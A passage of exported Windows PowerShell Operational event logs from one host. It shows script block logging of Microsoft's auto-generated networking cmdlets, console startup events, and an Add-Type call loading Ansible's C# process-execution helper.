Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1787 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0001-d92a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 5):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetIPAddress'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function New-NetIPAddress
{
[CmdletBinding(DefaultParameterSetName='ByInterfaceAlias', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance[]])][OutputType([Microsoft.Management.Infrastructure.CimInstance[]])]
param(
[Parameter(ParameterSetName='ByInterfaceAlias', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInterfaceIndex', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('LocalAddress')]
[string]
${IPAddress},
[Parameter(ParameterSetName='ByInterfaceAlias', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias')]
[string]
${InterfaceAlias},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[string]
${DefaultGateway},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.AddressFamily]
${AddressFamily},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.Type]
${Type},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[byte]
${PrefixLength},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[timespan]
${ValidLifetime},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[timespan]
${PreferredLifetime},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[bool]
${SkipAsSource},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[string]
${PolicyStore},
[Parameter(ParameterSetName='ByInterfaceIndex', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifIndex')]
[uint32]
${InterfaceIndex},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByInterfaceAlias') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPAddress')) {
[object]$__cmdletization_value = ${IPAddress}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('InterfaceAlias')) {
[object]$__cmdletization_value = ${InterfaceAlias}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceAlias'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceAlias'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DefaultGateway')) {
[object]$__cmdletization_value = ${DefaultGateway}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DefaultGateway'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DefaultGateway'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('AddressFamily')) {
[object]$__cmdletization_value = ${AddressFamily}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AddressFamily'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.AddressFamily'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AddressFamily'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.AddressFamily'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Type')) {
[object]$__cmdletization_value = ${Type}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Type'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.Type'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Type'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetIPAddress.Type'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PrefixLength')) {
[object]$__cmdletization_value = ${PrefixLength}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PrefixLength'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PrefixLength'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ValidLifetime')) {
[object]$__cmdletization_value = ${ValidLifetime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ValidLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ValidLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PreferredLifetime')) {
[object]$__cmdleti
ScriptBlock ID: e7bee10b-215c-42fd-b147-fb6b1408ba75
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1786 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0001-d92a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'root/StandardCimv2/MSFT_NetCompartment'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetCompartment
{
[CmdletBinding(DefaultParameterSetName='Query (cdxml)', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#root/StandardCimv2/MSFT_NetCompartment')]
param(
[Parameter(ParameterSetName='Query (cdxml)')]
[ValidateNotNull()]
[uint32[]]
${CompartmentId},
[Parameter(ParameterSetName='Query (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Query (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Query (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('CompartmentId') -and (@('Query (cdxml)') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${CompartmentId})
$__cmdletization_queryBuilder.FilterByProperty('CompartmentId', $__cmdletization_values, $false, 'Default')
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetCompartment.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetCompartment' -Alias '*'
ScriptBlock ID: 289a0cdb-64aa-410c-9e1b-9ca49169bee6
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1785 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:01 AM | dfeadd90-ee34-0000-b7ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1784 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 4956 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:00 AM | dfeadd90-ee34-0001-d32a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3600 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1783 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 3940 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:00 AM | dfeadd90-ee34-0001-d32a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1782 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 4956 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:00 AM | dfeadd90-ee34-0001-d32a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = ef3a06a2-e15a-4354-adee-74a2e481052b
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 9071be09-d935-4b46-a906-8e1fe791ba3b
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 1781 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4300 | 228 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:00 AM | dfeadd90-ee34-0000-a4ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
